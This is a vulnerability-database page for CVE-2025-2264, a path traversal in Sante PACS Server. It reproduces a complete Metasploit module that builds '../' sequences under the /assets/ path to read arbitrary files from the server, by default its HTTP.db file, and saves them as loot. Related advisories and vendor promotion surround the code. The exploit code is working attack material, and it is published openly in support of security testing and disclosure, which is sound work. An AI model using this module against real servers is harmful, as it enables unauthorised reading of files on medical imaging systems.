Lucene search
+L

Sante PACS Server Path Traversal (CVE-2025-2264)

🗓️ 06 May 2025 18:54:33Reported by Michael Heinzl, TenableType 
metasploit
 metasploit
🔗 www.rapid7.com👁 351 Views

Path traversal in Sante PACS Server allows reading arbitrary files (CVE-2025-2264, versions up to four point one).

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-2264
13 Mar 202516:45
circl
CNNVD
Santesoft Sante PACS Server 安全漏洞
13 Mar 202500:00
cnnvd
CVE
CVE-2025-2264
13 Mar 202516:29
cve
Cvelist
CVE-2025-2264 Santesoft Sante PACS Server Path Traversal Information Disclosure
13 Mar 202516:29
cvelist
Nuclei
Sante PACS Server.exe - Path Traversal Information Disclosure
27 Jul 202604:16
nuclei
NVD
CVE-2025-2264
13 Mar 202517:15
nvd
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check
22 Jul 202100:00
openvas
OSV
CVE-2025-2264
13 Mar 202517:15
osv
Positive Technologies
PT-2025-11207 · Unknown · Sante Pacs Server.Exe
13 Mar 202500:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 05/09/2025
9 May 202517:10
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sante PACS Server Path Traversal (CVE-2025-2264)',
        'Description' => %q{
          This module exploits a path traversal vulnerability (CVE-2025-2264) in Sante PACS Server <= v4.1.0 to retrieve arbitrary files from the system.
        },
        'Author' => [
          'Michael Heinzl', # MSF Module
          'Tenable' # Discovery and PoC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-2264'],
          ['URL', 'https://www.tenable.com/security/research/tra-2025-08']
        ],
        'DisclosureDate' => '2025-03-13',
        'DefaultOptions' => {
          'RPORT' => 3000,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for PACS Server', '/']),
        OptString.new('FILE', [false, 'The file path to read from the target system.', '/.HTTP/HTTP.db']),
        OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 3 ])
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.html')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Connection failed')
    end

    if res&.code == 200
      data = res.to_s
      if data.include?('Sante PACS Server PG')
        return Exploit::CheckCode::Detected('Sante PACS Server PG seems to be running on the server.')
      end

    end
    return Exploit::CheckCode::Safe('Target does not appear to be Sante PACS Server')
  end

  def run
    traversal = '../' * datastore['DEPTH'] + datastore['FILE']
    traversal = traversal.gsub(%r{/+}, '/')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'assets', traversal)
    })

    fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res&.code != 200
    print_good("File retrieved: #{target_uri.path}assets/#{traversal}")

    path = store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')
    print_status("File saved as loot: #{path}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.5
EPSS0.38656
SSVC
351